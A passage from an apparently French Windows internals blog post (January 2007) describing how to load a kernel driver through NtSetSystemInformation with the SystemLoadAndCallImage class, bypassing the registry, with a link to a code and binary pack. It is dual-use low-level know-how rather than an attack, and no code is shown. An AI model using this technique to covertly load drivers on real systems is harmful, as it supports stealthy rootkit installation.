Le champ SystemInformationClass doit être mit à SystemLoadAndCallImage. Ce qui
veut dire que le second argument est un pointeur sur une struture de type
SYSTEM_LOAD_AND_CALL_IMAGE qui contient une structure UNICODE_STRING sur le NtPath du .sys. Donc plus besoin d’utiliser le registre.
Par contre on ne peut plus unloader le driver, il existe bien
SystemLoadAndCallImage avec la classe SystemUnloadImage mais il faut lui donné
l’ImageBase du driver dans la mémoire noyau et être en KernelLand.
Le code est dispo dans NtSetSystemInformation.cpp

Le pack avec les codes et binaires est dispo ici
http://ivanlef0u.fr/repo/LoadDriver.rar
Enjoy !

2 comments janvier 2nd, 2007


Calendar

janvier 2007
L Ma Me J V S D
« déc   fév »
1234567
891011121314
15161718192021
22232425262728
293031  

Posts by Month

Posts by Category